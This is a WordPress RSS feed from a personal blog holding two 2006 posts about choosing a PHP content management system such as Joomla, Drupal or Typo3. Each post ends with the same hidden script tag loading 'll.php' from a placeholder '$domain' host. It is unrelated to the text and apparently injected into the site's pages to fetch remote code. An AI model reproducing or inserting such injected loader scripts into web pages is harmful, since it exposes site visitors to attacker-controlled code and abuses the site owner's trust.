<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Three Times Daily &#187; php</title>
	<atom:link href="http://3td.heimerman.org/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://3td.heimerman.org</link>
	<description>What do YOU do Three Times Daily?</description>
	<lastBuildDate>Wed, 11 Aug 2010 03:23:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Finding the right CMS</title>
		<link>http://3td.heimerman.org/2006/10/13/finding-the-right-cms/</link>
		<comments>http://3td.heimerman.org/2006/10/13/finding-the-right-cms/#comments</comments>
		<pubDate>Fri, 13 Oct 2006 18:29:31 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[cms]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://northern-designs.com/ThreeTimesDaily.com/2006/10/13/finding-the-right-cms/</guid>
		<description><![CDATA[I posted a couple weeks ago about Joomla.  Since I have now used Joomla on a couple sites, I&#8217;ve made a small wish-list of features that are missing from that particular CMS.  One of the most obvious ones is a granular permissions system.  I was eagerly awaiting the release of version 1.5 which just went [...]]]></description>
			<content:encoded><![CDATA[<p>I <a href="http://northern-designs.com/ThreeTimesDaily.com/2006/09/20/cms-for-web-development/">posted</a> a couple weeks ago about <a href="http://www.joomla.org">Joomla</a>.  Since I have now used Joomla on a couple sites, I&#8217;ve made a small wish-list of features that are missing from that particular CMS.  One of the most obvious ones is a granular permissions system.  I was eagerly awaiting the release of <a href="http://www.joomla.org/content/view/2088/74/">version 1.5 which just went beta</a> yesterday.  However, the granular permissions which I thought might be there, did not appear to be.</p>
<p>So I&#8217;m on a mission to find the perfect CMS that can do everything.  It has to be free open source, php and mysql based, easy to set up a template, should have granular permissions.  Of course I want as many extras as possible.  Someone had pointed me toward something called &#8220;Harmony&#8221;, but after scouring Google, I cannot find any information about any CMS called &#8220;Harmony&#8221;.  Well, there was <a href="http://www.moteinteractive.com/harmony/features.php">this</a>, but I&#8217;m pretty sure that&#8217;s not it.</p>
<p>If you&#8217;re in the market for a CMS, I definitely recommend <a href="http://www.cmsmatrix.org/matrix">CMSMatrix</a>.  They have categorized hundreds of free and commercial CMS packages, and there are a ton of search options.  My short list is Drupal, Sitellite, and Typo3.  I&#8217;ll be evaluating these three in the coming weeks and I&#8217;ll report back here.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://3td.heimerman.org/2006/10/13/finding-the-right-cms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CMS for web development</title>
		<link>http://3td.heimerman.org/2006/09/20/cms-for-web-development/</link>
		<comments>http://3td.heimerman.org/2006/09/20/cms-for-web-development/#comments</comments>
		<pubDate>Wed, 20 Sep 2006 14:32:29 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[about me]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://northern-designs.com/ThreeTimesDaily.com/2006/09/20/cms-for-web-development/</guid>
		<description><![CDATA[For the web developers out there: Do you regularly use a CMS framework in your projects? First a little background about me I&#8217;ve been developing websites seriously for about 6 years. I&#8217;m self-taught and have no formal training. I started out by learning HTML and table layouts &#8212; no CSS, no &#60;DIV&#62;&#8217;s, etc. Pretty soon [...]]]></description>
			<content:encoded><![CDATA[<p>For the web developers out there: Do you regularly use a CMS framework in your projects?</p>
<p><strong>First a little background about me</strong><br />
I&#8217;ve been developing websites seriously for about 6 years.  I&#8217;m self-taught and have no formal training.  I started out by learning HTML and table layouts &#8212; no CSS, no &lt;DIV&gt;&#8217;s, etc.</p>
<p>Pretty soon I began hearing some talk about server-side scripting and became interested in JSP.  I had a short period of formal &#8220;C&#8221; training in my past, so I caught on to the Java syntax and language structure very quickly. However, for most of my clients, JSP was not a practical solution.</p>
<p>I started to notice that something called &#8220;PHP&#8221; was included in most hosting plans, and after some investigation discovered that it was a &#8220;lightweight&#8221; server-side scripting engine without all the overhead and server configuration required for JSP.  So I dove right in and before long abandoned JSP entirely.</p>
<p>Then about a year ago I finally discovered the wonders of CSS and table-less layouts.  What a liberation!</p>
<p>So up until about a month ago, my design process has been as follows:</p>
<div>
<ol>
<li>design page layout using graphical design software.</li>
<li>convert prototype image to valid HTML using CSS for layout.</li>
<li>&#8220;PHP-ize&#8221; the layout so that the same HTML &#8220;template&#8221; can be applied to all pages of the site.</li>
<li>develop some kind of back-end application to allow the client to manipulate site content.</li>
</ol>
<p><strong>The Present<br />
</strong>That step 4 has always been a doosy for me.  Every client is different and has different requirements.  Unfortunately, it seemed that every project involved re-inventing the wheel to some degree.  But basically, they all just want some sort of easy method to update and add content.</p>
<p>With a recent project, I decided to try something called <a href="http://www.joomla.org">Joomla</a>, because the site itself was more or less news-centered and I thought it would be a good fit.  I had tried <a href="http://www.phpnuke.org">phpNuke</a> and <a href="http://www.phpbb.com">phpBB</a> in the past, but the template designs were so complex that I soon gave up.  My first experience with Joomla was liberating.  The template design was stupidly simple &#8211; just a single index.php file and a stylesheet.  The site went up so fast, and porting content from their old site to the new &#8220;Joomla-enabled&#8221; site was so easy.  I threw together a &#8220;Content Management and Administration&#8221; document for the client, and away they go.</p>
<p><strong>The Future</strong><br />
So I start to think:  <em>what&#8217;s the drawback of this method of development?</em>  It seems like the CMS programs today have all of the flexibility to be able to deal with any kind of customization that might be required.  All it takes is sometimes digging into the PHP code and making tweaks here or there.  I suppose the overhead is a bit higher, as all of the content is stored in a database and response time is visibly slower at times and for some tasks (mileage may vary, depending on host).  But the time and effort this saved me in designing the site, and the convenience of the client being able to make changes effortlessly more than makes up for it in my opinion.</p>
<p>Another benefit of this approach is that Step 3 virtually goes away as well.  In the past I had to build back-end processors for building the pages and laying out the dynamic content, but all of that is included in the CMS.  So the PHP-izing consists of simply plugging the CMS hooks into your template where you want the dynamic content to go.  Piece of cake!</p>
<p>I think I&#8217;ve found my new best friend.  <img src='http://3td.heimerman.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Discussion</strong><br />
If you use a CMS regularly, which one?  What drawbacks to you see to this approach?<strong><br />
</strong></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://3td.heimerman.org/2006/09/20/cms-for-web-development/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

